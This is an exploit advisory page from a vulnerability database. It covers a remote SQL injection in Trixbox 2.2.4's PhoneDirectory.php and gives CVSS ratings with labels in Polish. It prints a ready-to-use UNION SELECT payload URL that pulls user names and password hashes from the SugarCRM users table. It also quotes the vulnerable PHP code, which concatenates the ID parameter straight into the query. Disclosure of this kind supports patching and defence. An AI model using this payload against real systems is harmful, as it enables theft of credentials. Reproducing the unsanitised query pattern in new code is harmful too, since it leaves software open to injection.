Trixbox 2.2.4 remote SQL injection vulnerability in PhonecDirectory.php.

2010-02-22 / 2010-02-23
Credit: NorSlacker
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

# Exploit Title: Trixbox PhonecDirectory.php SQL Injection # Date: 18.02.2010 # Author: NorSlacker # Software Link: http://trixbox.org/downloads # Version: 2.2.4 # Code : http://trixbox/cisco/services/PhoneDirectory.php?ID=1 [SQL INJECTION] Example (Grab users / password hashes from sugarcrm) http://trixbox/cisco/services/PhoneDirectory.php?ID=1' UNION SELECT id,user_hash AS 'first_name',last_name,phone_home,user_name AS 'phone_work',user_hash AS 'phone_mobile',phone_other FROM users WHERE 1='1' GROUP BY 'id PhoneDirectory.php vulnerable code: # If the variable "ID" is passed in through the GET string, then display # extension, phone number and cell phone number for that record with the dial # key functionality if ($ID) { $PersonDirectoryListing = "<CiscoIPPhoneDirectory>\n"; $Query = "SELECT id, first_name, last_name, phone_home, phone_work, phone_mobile, phone_other "; $Query .= "FROM contacts WHERE id = '$ID' "; $Query .= "ORDER BY last_name "; $SelectPersonInfo = mysql_query($Query,$ConnectionSuccess); ... } #norslacker [at] gmail [dot] com

Referencje:

http://xforce.iss.net/xforce/xfdb/56407
http://www.securityfocus.com/bid/38323
http://www.exploit-db.com/exploits/11508
http://packetstormsecurity.org/1002-exploits/tribox-sql.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top